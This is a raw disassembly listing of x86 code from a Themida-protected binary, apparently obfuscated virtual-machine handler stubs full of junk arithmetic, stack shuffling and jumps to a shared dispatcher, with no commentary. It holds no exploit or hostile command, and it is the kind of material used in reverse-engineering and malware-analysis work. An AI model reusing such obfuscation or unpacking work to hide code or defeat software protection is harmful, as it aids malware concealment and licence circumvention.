loc_558F27:				; CODE XREF: Themida_:00558550j
		sub	edi, eax
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		xor	dword ptr [esp], 9BB24C1h
		pop	eax
		push	7BC8h
		mov	[esp], edi
		jmp	loc_556942
; ---------------------------------------------------------------------------


loc_558F4E:				; CODE XREF: Themida_:0055D3F7j
		mov	edi, 72CC78DFh
		add	[esp+4], edi
		pop	edi
		jmp	loc_55BBC1
; ---------------------------------------------------------------------------


loc_558F5D:				; CODE XREF: Themida_:00556336j
		add	eax, 53CC8E59h
		xor	esi, eax
		pop	eax
		push	esi
		jmp	loc_5580AB
; ---------------------------------------------------------------------------


loc_558F6B:				; CODE XREF: Themida_:00554C45j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		mov	esi, 0F841F15h
		sub	esi, 1CE5FC4h
		not	esi
		and	esi, 1FBD0FC8h
		add	esi, 27B236D6h
		jmp	loc_554729
; ---------------------------------------------------------------------------


loc_558F99:				; CODE XREF: Themida_:0055AD3Fj
		push	eax
		mov	eax, esp
		push	edi
		jmp	loc_55603A
; ---------------------------------------------------------------------------


loc_558FA2:				; CODE XREF: Themida_:0055BCD1j
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_553D33
; ---------------------------------------------------------------------------


loc_558FB2:				; CODE XREF: Themida_:00553A85j
		pop	edi
		push	ebp
		jmp	loc_5585D3
; ---------------------------------------------------------------------------


loc_558FB9:				; CODE XREF: Themida_:0055E48Ej
		push	esi
		mov	esi, 66A61E4h
		mov	edi, 7F5BBF7Fh
		jmp	loc_55E534
; ---------------------------------------------------------------------------


loc_558FC9:				; CODE XREF: Themida_:00554DAAj
		pop	eax
		jmp	loc_55A641
; ---------------------------------------------------------------------------


loc_558FCF:				; CODE XREF: Themida_:0055BA85j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		inc	dh
		xor	dh, 3Ah
		jmp	loc_55CDD1
; ---------------------------------------------------------------------------


loc_558FEB:				; CODE XREF: Themida_:00554487j
		push	2546h
		mov	[esp], ebp
		push	2998h
		mov	[esp], edx
		mov	edx, 37AF046Fh
		jmp	loc_55D54F
; ---------------------------------------------------------------------------


loc_559005:				; CODE XREF: Themida_:0055EEC5j
		xor	al, 0A9h
		mov	dh, al
		pop	eax
		jmp	loc_558094
; ---------------------------------------------------------------------------


loc_55900F:				; CODE XREF: Themida_:0055536Ej
		xor	cl, 0A4h
		push	bx
		mov	bh, 13h
		jmp	loc_5566A6
; ---------------------------------------------------------------------------


loc_55901B:				; CODE XREF: Themida_:005558B2j
		shr	edx, 8
		and	edx, 1C500B47h
		xor	edx, 7E0D5531h
		sub	edx, 0D6D61D6Dh
		add	eax, edx
		pop	edx
		or	[edi+1Ch], eax
		pop	eax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55903C:				; CODE XREF: Themida_:00556C33j
		push	ecx
		jmp	loc_556F8C
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_55D8E7
; ---------------------------------------------------------------------------


loc_55904A:				; CODE XREF: Themida_:00557BAEj
		pop	edi
		jmp	loc_55A805
; ---------------------------------------------------------------------------


loc_559050:				; CODE XREF: Themida_:0055D4E4j
		add	ecx, 4E0E1417h
		jmp	loc_5550B1
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dl, 27h
		jmp	loc_55A041
; ---------------------------------------------------------------------------


loc_559064:				; CODE XREF: Themida_:0055A861j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_559069:				; CODE XREF: Themida_:0055B81Dj
		add	ecx, 736119C1h
		add	ecx, edi
		sub	ecx, 736119C1h
		pop	edi
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_557207
; ---------------------------------------------------------------------------


loc_559083:				; CODE XREF: Themida_:0055600Bj
		mov	edx, 5BF9700Bh
		add	[esp+0Ch], edx
		pop	edx
		pop	ecx
		jmp	loc_55CA7F
; ---------------------------------------------------------------------------


loc_559093:				; CODE XREF: Themida_:005545F6j
		not	ebx
		push	794Eh
		mov	[esp], ebx
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		xchg	eax, [esp]
		pop	ebx
		jmp	loc_5588C1
; ---------------------------------------------------------------------------


loc_5590B4:				; CODE XREF: Themida_:0055504Bj
		push	esi
		mov	esi, 4
		jmp	loc_555E67
; ---------------------------------------------------------------------------


loc_5590BF:				; CODE XREF: Themida_:00554BF8j
		xor	ebp, edx
		pop	edx
		add	esi, ebp
		pop	ebp
		push	5639h
		mov	[esp], edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		jmp	loc_558D6D
; ---------------------------------------------------------------------------


loc_5590DA:				; CODE XREF: Themida_:00554D4Cj
		mov	eax, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		inc	dword ptr [esp]
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5590F0:				; CODE XREF: Themida_:0055E196j
		push	esi
		mov	esi, 0
		mov	ebx, esi
		pop	esi
		jmp	loc_55363E
; ---------------------------------------------------------------------------


loc_5590FE:				; CODE XREF: Themida_:0055A0B7j
		pop	edi
		jmp	loc_559679
; ---------------------------------------------------------------------------


loc_559104:				; CODE XREF: Themida_:00558002j
		push	edi
		jmp	loc_55346F
; ---------------------------------------------------------------------------


loc_55910A:				; CODE XREF: Themida_:0055824Ej
		sub	edi, 5BAD4E86h
		jmp	loc_55C590
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2523h
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_557DD6
; ---------------------------------------------------------------------------


loc_55913C:				; CODE XREF: Themida_:0055F0A6j
		pop	eax
		jmp	loc_558D4C
; ---------------------------------------------------------------------------


loc_559142:				; CODE XREF: Themida_:00558E12j
		mov	edi, 1AD92AC2h
		jmp	loc_559481
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55915C:				; CODE XREF: Themida_:005535AAj
		xchg	ebp, [esp]
		pop	esp
		xor	bx, ax
		movzx	eax, ax
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_556931
; ---------------------------------------------------------------------------


loc_559179:				; CODE XREF: Themida_:0055E5CEj
		add	esp, 4
		xor	eax, ebp
		jmp	loc_55D50B
; ---------------------------------------------------------------------------


loc_559186:				; CODE XREF: Themida_:00556B6Bj
		xor	ecx, ebx
		xor	ebx, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	6E5Eh
		mov	[esp], edx
		mov	edx, 1
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		jmp	loc_5537A3
; ---------------------------------------------------------------------------


loc_5591B4:				; CODE XREF: Themida_:005577E2j
		add	ebx, 4C064C0Ch
		push	ecx
		jmp	loc_55468D
; ---------------------------------------------------------------------------


loc_5591C0:				; CODE XREF: Themida_:0055688Ej
		xchg	edx, [esp]
		jmp	loc_55D13F
; ---------------------------------------------------------------------------


loc_5591C8:				; CODE XREF: Themida_:0055A609j
		push	ecx
		mov	ecx, 3134E83h
		add	ecx, 6087390Ch
		dec	ecx
		neg	ecx
		add	ecx, 0DB64DB84h
		mov	esi, ecx
		pop	ecx
		add	esi, 25942ECEh
		jmp	loc_557060
; ---------------------------------------------------------------------------


loc_5591EB:				; CODE XREF: Themida_:00554064j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5591F0:				; CODE XREF: Themida_:005585E5j
		mov	edi, 1
		jmp	loc_55A8F3
; ---------------------------------------------------------------------------


loc_5591FA:				; CODE XREF: Themida_:0055923Aj
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_555D46
; ---------------------------------------------------------------------------


loc_559207:				; CODE XREF: Themida_:0055369Dj
		mov	ebx, 984541Dh
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55A8A1
; ---------------------------------------------------------------------------


loc_559219:				; CODE XREF: Themida_:00558745j
		push	56DDh
		mov	[esp], ebx
		push	1B82h
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		pop	ebx
		push	2025h
		jmp	loc_5591FA
; ---------------------------------------------------------------------------


loc_55923F:				; CODE XREF: Themida_:00554B99j
		pop	ebp
		jmp	loc_559C48
; ---------------------------------------------------------------------------


loc_559245:				; CODE XREF: Themida_:0055A882j
		pop	eax
		jmp	loc_55CB77
; ---------------------------------------------------------------------------


loc_55924B:				; CODE XREF: Themida_:00558596j
		add	esp, 4
		pop	edx
		add	edi, ecx
		mov	ecx, [esp]
		push	esi
		jmp	loc_554CC4
; ---------------------------------------------------------------------------


loc_55925A:				; CODE XREF: Themida_:005588B5j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55744A
; ---------------------------------------------------------------------------


loc_55926F:				; CODE XREF: Themida_:00557AF3j
		inc	byte ptr [esp]
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_559278:				; CODE XREF: sub_5747D8-1A6C9j
		pop	ecx
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp+28h+var_28]
		pop	esp
		xor	dh, ah
		jmp	loc_559E51
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_559296:				; CODE XREF: Themida_:00559574j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		div	cl
		movzx	cx, ah
		push	esi
		push	esp
		push	dword ptr [esp]
		jmp	loc_5554DB
; ---------------------------------------------------------------------------


loc_5592AB:				; CODE XREF: Themida_:0055BA50j
		and	ebx, 2D882BD3h
		or	ebx, 535925E5h
		jmp	loc_559B72
; ---------------------------------------------------------------------------


loc_5592BC:				; CODE XREF: Themida_:00556378j
		push	edx
		jmp	loc_5583A5
; ---------------------------------------------------------------------------


loc_5592C2:				; CODE XREF: Themida_:0055C121j
		add	eax, ebp
		pop	ebp
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_555D2A
; ---------------------------------------------------------------------------


loc_5592D0:				; CODE XREF: Themida_:00554D19j
		xor	ebp, ebx
		pop	ebx
		add	ebx, ebp
		jmp	loc_55DC30
; ---------------------------------------------------------------------------


loc_5592DA:				; CODE XREF: Themida_:0055B1DAj
		pop	esp
		jmp	loc_55B96A
; ---------------------------------------------------------------------------


loc_5592E0:				; CODE XREF: Themida_:0055CFE4j
		pop	esp
		mov	[esp], dx
		push	4159h
		mov	[esp], ecx
		push	eax
		mov	al, 0C1h
		push	eax
		mov	ah, 5Eh
		push	ecx
		mov	cl, 0E8h
		sub	ah, cl
		pop	ecx
		mov	cl, ah
		jmp	loc_5534E5
; ---------------------------------------------------------------------------


loc_559300:				; CODE XREF: Themida_:0055534Dj
		neg	dh
		dec	dh
		sub	esp, 2
		jmp	loc_5559B7
; ---------------------------------------------------------------------------


loc_55930C:				; CODE XREF: Themida_:0055317Dj
		sub	ah, 30h
		mov	ch, ah
		pop	eax
		jmp	loc_55B929
; ---------------------------------------------------------------------------


loc_559317:				; CODE XREF: Themida_:0055A5C0j
		mov	bh, cl
		mov	dh, bh
		pop	ebx
		pop	ecx
		jmp	loc_55D60B
; ---------------------------------------------------------------------------


loc_559322:				; CODE XREF: Themida_:0055A5B0j
		add	esi, ebp
		sub	esi, 791A143Ah
		jmp	loc_55A252
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_559337:				; CODE XREF: Themida_:0055A82Cj
		sub	edi, 6C726C71h
		jmp	loc_55B9CB
; ---------------------------------------------------------------------------


loc_559342:				; CODE XREF: Themida_:00553A2Bj
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 6D2E1A32h
		push	1D44h
		mov	[esp], ebx
		mov	ebx, 0E0344E7h
		push	esi
		mov	esi, 41007104h
		and	esi, 4D3F0B9Eh
		dec	esi
		jmp	loc_556E83
; ---------------------------------------------------------------------------


loc_559374:				; CODE XREF: Themida_:005569BBj
		sub	ebx, 5B532FDBh
		jmp	loc_55B3BC
; ---------------------------------------------------------------------------


loc_55937F:				; CODE XREF: Themida_:0055A61Bj
		mov	ecx, 21353126h
		shl	ecx, 1
		add	ecx, 0FC25BAECh
		jmp	loc_55BB18
; ---------------------------------------------------------------------------


loc_559391:				; CODE XREF: Themida_:0055DDC4j
		add	ebp, edi
		sub	ebp, 7FC6EC0h
		sub	ebp, 343F1E2Ah
		pop	edi
		push	edi
		mov	edi, 2CEF2CC8h
		add	edi, 16E413E5h
		and	edi, 36011FBEh
		push	edx
		mov	edx, 7236271Bh
		or	edx, 28D8614Fh
		sub	edx, 67CA1ED5h
		xor	edi, edx
		pop	edx
		jmp	loc_557C63
; ---------------------------------------------------------------------------


loc_5593CC:				; CODE XREF: Themida_:00556D7Bj
		sub	al, 0D5h
		sub	al, bl
		jmp	loc_557DAC
; ---------------------------------------------------------------------------


loc_5593D5:				; CODE XREF: Themida_:00557C1Cj
		xchg	ebp, [esp]
		pop	esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_5567DA
; ---------------------------------------------------------------------------


loc_5593F1:				; CODE XREF: Themida_:0055A81Cj
		btr	[esp], ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5593FC:				; CODE XREF: Themida_:005557A8j
		push	6597h
		mov	[esp], eax
		jmp	loc_5552EF
; ---------------------------------------------------------------------------


loc_559409:				; CODE XREF: Themida_:0055CCA4j
		mov	ebx, 4
		jmp	loc_55A846
; ---------------------------------------------------------------------------


loc_559413:				; CODE XREF: Themida_:00553C12j
		add	ebp, 0E97530E4h
		jmp	loc_55B6CA
; ---------------------------------------------------------------------------


loc_55941E:				; CODE XREF: Themida_:0055CD07j
		add	eax, 756B66BEh
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55943E:				; CODE XREF: Themida_:00554E53j
		mov	dh, ch
		mov	ecx, [esp]
		jmp	loc_55BA7F
; ---------------------------------------------------------------------------


loc_559448:				; CODE XREF: Themida_:0055852Aj
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55E48C
; ---------------------------------------------------------------------------


loc_559456:				; CODE XREF: Themida_:0055984Cj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_559481:				; CODE XREF: Themida_:00559147j
		and	edi, 1D7F4610h
		xor	edi, 6EC67787h
		jmp	loc_55E23B
; ---------------------------------------------------------------------------


loc_559492:				; CODE XREF: Themida_:00555669j
		shr	esi, 6
		add	esi, 3A14230Dh
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_55E891
; ---------------------------------------------------------------------------


loc_5594AE:				; CODE XREF: Themida_:0055E514j
		xor	dword ptr [esp], 93D4179h
		jmp	loc_559720
; ---------------------------------------------------------------------------


loc_5594BA:				; CODE XREF: Themida_:0055716Cj
		pop	esp
		push	2785h
		mov	[esp], edi
		push	ebp
		mov	ebp, 6D405010h
		push	esi
		jmp	loc_5562E9
; ---------------------------------------------------------------------------


loc_5594CF:				; CODE XREF: Themida_:005536DFj
		push	ebx
		jmp	loc_5535EF
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_558A48
; ---------------------------------------------------------------------------


loc_5594DE:				; CODE XREF: Themida_:0055BDCAj
		add	edi, 72AC37CCh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 20337824h
		add	edi, eax
		pop	eax
		jmp	loc_556E1B
; ---------------------------------------------------------------------------


loc_5594F7:				; CODE XREF: Themida_:0055E643j
		sub	ebp, 24806685h
		xor	ebp, 25AC633Eh
		sub	eax, ebp
		jmp	loc_5560AE
; ---------------------------------------------------------------------------


loc_55950A:				; CODE XREF: Themida_:00555BF8j
		xor	eax, 9668EEFCh
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		jmp	loc_559D89
; ---------------------------------------------------------------------------


loc_55951A:				; CODE XREF: Themida_:0055E68Dj
		and	ebp, 2240439Fh
		sub	ebp, 2000028Ch
		add	ebx, 532E62C5h
		add	ebx, ebp
		jmp	loc_555339
; ---------------------------------------------------------------------------


loc_559533:				; CODE XREF: Themida_:0055776Ej
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 2
		sub	edi, 1E281294h
		jmp	loc_55DE8F
; ---------------------------------------------------------------------------


loc_55954D:				; CODE XREF: Themida_:0055ED05j
		push	819h
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		jmp	loc_554D8E
; ---------------------------------------------------------------------------


loc_55955D:				; CODE XREF: Themida_:00557F79j
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	76EFh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_559296
; ---------------------------------------------------------------------------


loc_559579:				; CODE XREF: Themida_:0055CB1Fj
		pop	ecx
		jmp	loc_55DA11
; ---------------------------------------------------------------------------


loc_55957F:				; CODE XREF: Themida_:00553F46j
		push	1BF9h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_5584B6
; ---------------------------------------------------------------------------


loc_559590:				; CODE XREF: Themida_:00552FA3j
		push	small word ptr [eax]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_559598:				; CODE XREF: Themida_:0055D1E4j
		xor	edi, ebp
		pop	ebp
		add	edi, 8C8EB7D6h
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_553ADB
; ---------------------------------------------------------------------------


loc_5595AE:				; CODE XREF: Themida_:0055D51Fj
		mov	bl, dl
		pop	edx
		shr	bl, 1
		neg	bl
		push	small 1A66h
		mov	[esp], bx
		dec	byte ptr [esp]
		pop	bx
		sub	bl, 96h
		add	dl, bl
		pop	ebx
		jmp	loc_55B822
; ---------------------------------------------------------------------------


loc_5595CD:				; CODE XREF: Themida_:0055A700j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5C754DFDh
		jmp	loc_55CD39
; ---------------------------------------------------------------------------


loc_5595DD:				; CODE XREF: Themida_:00555D54j
		pop	edx
		push	edi
		mov	edi, 2
		add	ebx, edi
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55C3D9
; ---------------------------------------------------------------------------


loc_5595F8:				; CODE XREF: Themida_:0055C4D7j
		xchg	eax, edi
		shl	edi, 5
		jmp	loc_55B101
; ---------------------------------------------------------------------------


loc_559601:				; CODE XREF: Themida_:0055C418j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_559606:				; CODE XREF: Themida_:00553599j
		add	esp, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55D080
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	3D6Dh
		push	esp
		pop	dword ptr [esp]
		push	esi
		jmp	loc_554DDE
; ---------------------------------------------------------------------------


loc_559631:				; CODE XREF: Themida_:0055C722j
		pop	eax
		push	ecx
		mov	ecx, 289513C8h
		push	edx
		mov	edx, 6C131B0Ah
		neg	edx
		add	edx, 8FE1DE76h
		sub	ecx, edx
		pop	edx
		sub	eax, 6B8A251Ah
		sub	eax, ecx
		push	ecx
		jmp	loc_55A4B1
; ---------------------------------------------------------------------------


loc_559656:				; CODE XREF: Themida_:005549C5j
		mov	esi, 75A64414h
		mov	ebx, 0D23D6E19h
		sub	ebx, esi
		pop	esi
		neg	ebx
		or	ebx, 69CE492Bh
		xor	ebx, 0EBEEDDFAh
		sub	esi, ebx
		pop	ebx
		jmp	loc_55366E
; ---------------------------------------------------------------------------


loc_559679:				; CODE XREF: Themida_:005590FFj
		mov	edx, esi
		pop	esi
		sub	edx, 1DE36708h
		shl	edx, 7
		push	ebp
		mov	ebp, 5CE9025Fh
		and	edx, ebp
		pop	ebp
		sub	edx, 3D9D679Eh
		sub	edx, 614E6807h
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 602E319Bh
		push	dword ptr [esp]
		jmp	loc_55E7BA
; ---------------------------------------------------------------------------


loc_5596B3:				; CODE XREF: Themida_:00553DBBj
		mov	[esp], edi
		mov	edx, [esp]
		push	2342h
		mov	[esp], eax
		push	esp
		jmp	loc_557FFE
; ---------------------------------------------------------------------------


loc_5596C7:				; CODE XREF: Themida_:00556A99j
		add	ebx, 52E6272h
		sub	ebx, 1
		push	edi
		mov	edi, 5EF1B1Bh
		xor	edi, 43BB7565h
		shl	edi, 2
		add	edi, 5CE787EFh
		push	esi
		jmp	loc_555456
; ---------------------------------------------------------------------------


loc_5596EE:				; CODE XREF: Themida_:0055D4B9j
		mov	[esp], ebx
		jmp	loc_55E06C
; ---------------------------------------------------------------------------


loc_5596F6:				; CODE XREF: Themida_:0055B884j
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		push	edi
		mov	edi, 6B587082h
		add	edi, 0BF3F9A30h
		mov	edx, edi
		pop	edi
		mov	ecx, 0D567F552h
		add	ecx, edx
		jmp	loc_556188
; ---------------------------------------------------------------------------


loc_559720:				; CODE XREF: Themida_:005594B5j
		mov	ebx, [esp]
		jmp	loc_55DF5B
; ---------------------------------------------------------------------------


loc_559728:				; CODE XREF: Themida_:00557EA4j
		xor	ebx, [esp]
		mov	esp, [esp]
		push	1BF4h
		mov	[esp], ecx
		push	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	3DFC1DFFh
		pop	edx
		xor	edx, 1D213A71h
		push	6C36h
		mov	[esp], edx
		sub	dword ptr [esp], 39BA375Eh
		jmp	loc_554C41
; ---------------------------------------------------------------------------


loc_55976D:				; CODE XREF: Themida_:0055E355j
		xor	dh, 7Eh
		sub	dh, 90h
		inc	dh
		dec	dh
		add	dh, 63h
		or	al, dh
		pop	edx
		add	al, 62h
		xor	al, 65h
		xor	ch, al
		pop	eax
		push	ebx
		mov	bh, 0B1h
		jmp	loc_554628
; ---------------------------------------------------------------------------


loc_55978C:				; CODE XREF: Themida_:00558B87j
		add	esp, 4
		jmp	loc_555CC7
; ---------------------------------------------------------------------------


loc_559797:				; CODE XREF: Themida_:0055DF28j
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	[esp+4], di
		mov	di, [esp]
		add	esp, 2
		mov	si, [esp]
		add	esp, 2
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5597C1:				; CODE XREF: Themida_:0055AF61j
		push	51EBh
		jmp	loc_553FCD
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_5579A8
; ---------------------------------------------------------------------------


loc_5597D3:				; CODE XREF: Themida_:0055C7CFj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		movsx	ecx, al
		jmp	loc_55E8A9
; ---------------------------------------------------------------------------


loc_5597E8:				; CODE XREF: Themida_:00554703j
		shl	edx, 4
		jmp	loc_555DD1
; ---------------------------------------------------------------------------


loc_5597F0:				; CODE XREF: Themida_:00559FE4j
		mov	edi, 5FE2687Bh
		or	edi, 0D42046Fh
		shr	edi, 6
		and	edi, 5F6E7730h
		jmp	loc_55B385
; ---------------------------------------------------------------------------


loc_559809:				; CODE XREF: Themida_:0055DBFAj
		sub	al, 3Ch
		jmp	loc_558406
; ---------------------------------------------------------------------------


loc_559810:				; CODE XREF: Themida_:0055847Fj
		add	ebx, edx
		pop	edx
		add	eax, [ebx]
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	5D3Bh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		push	edi
		mov	edi, esp
		jmp	loc_559456
; ---------------------------------------------------------------------------


loc_559851:				; CODE XREF: Themida_:0055E594j
		xchg	edx, [esp]
		pop	esp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55AFCC
; ---------------------------------------------------------------------------


loc_559861:				; CODE XREF: Themida_:0055D4A0j
		push	ebx
		mov	ebx, 5E4C81A4h
		sub	edx, 5E23D98h
		add	edx, ebx
		add	edx, 5E23D98h
		jmp	loc_55BB7A
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	edx, 7080606Fh
		sub	edx, 16D5ADCh
		shl	edx, 6
		push	esi
		mov	esi, 4F4F1BE5h
		xor	edx, esi
		pop	esi
		push	0
		sub	[esp], edx
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 747180DBh
		mov	eax, edx
		pop	edx
		push	7979h
		mov	[esp], edx
		mov	edx, eax
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_556E4F
; ---------------------------------------------------------------------------


loc_5598DC:				; CODE XREF: Themida_:0055C042j
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_55874A
; ---------------------------------------------------------------------------


loc_5598E6:				; CODE XREF: Themida_:005589BAj
		mov	esi, 34296291h
		jmp	loc_55C56B
; ---------------------------------------------------------------------------


loc_5598F0:				; CODE XREF: Themida_:00558455j
		add	di, 6147h
		xor	di, 0E16Dh
		sub	ax, 21A3h
		jmp	loc_554A90
; ---------------------------------------------------------------------------


loc_559903:				; CODE XREF: Themida_:00558148j
		add	esp, 4
		jmp	loc_55C5BB
; ---------------------------------------------------------------------------


loc_55990E:				; CODE XREF: Themida_:0055E421j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		push	esi
		mov	esi, 52820D9Ch
		or	esi, 42805E63h
		or	esi, 23BA104Ah
		jmp	loc_55E75F
; ---------------------------------------------------------------------------


loc_559935:				; CODE XREF: Themida_:0055CA24j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	1C2Eh
		jmp	loc_553006
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 18862AAEh
		add	eax, 6BFA5308h
		jmp	loc_557F8E
; ---------------------------------------------------------------------------


loc_55995F:				; CODE XREF: Themida_:0055C137j
		push	edx
		mov	edx, 2
		jmp	loc_55EFD2
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	edx
		mov	dl, 3Ch
		dec	dl
		or	dl, 82h
		push	574h
		mov	[esp], eax
		mov	al, 76h
		jmp	loc_55AE75
; ---------------------------------------------------------------------------


loc_559984:				; CODE XREF: Themida_:0055ACEEj
		add	edx, eax
		pop	eax
		sub	esp, 4
		jmp	loc_55DB69
; ---------------------------------------------------------------------------


loc_559992:				; CODE XREF: Themida_:005578A9j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55B9E4
; ---------------------------------------------------------------------------


loc_5599A0:				; CODE XREF: Themida_:0055B3E8j
		mov	ecx, 5600F869h
		sub	eax, 56E63875h
		sub	eax, 37705093h
		sub	eax, ecx
		add	eax, 37705093h
		push	esi
		mov	esi, 56E63875h
		sub	eax, 65E60F32h
		jmp	loc_553519
; ---------------------------------------------------------------------------


loc_5599C6:				; CODE XREF: Themida_:005588BCj
		push	edx
		mov	edx, 0BDC7EB9h
		dec	edx
		neg	edx
		sub	edx, 0F4238144h
		add	esi, edx
		pop	edx
		push	eax
		mov	eax, 4
		sub	esi, eax
		jmp	loc_556D80
; ---------------------------------------------------------------------------


loc_5599E5:				; CODE XREF: Themida_:00558BA5j
		pop	eax
		sub	ecx, 3E8614FBh
		jmp	loc_558BAA
; ---------------------------------------------------------------------------


loc_5599F1:				; CODE XREF: Themida_:0055E7FCj
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5599F6:				; CODE XREF: Themida_:00554920j
		mov	[esp], edx
		mov	edx, 60836B48h
		xor	eax, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		push	edi
		jmp	loc_556708
; ---------------------------------------------------------------------------


loc_559A0C:				; CODE XREF: Themida_:00559F34j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_558C03
; ---------------------------------------------------------------------------


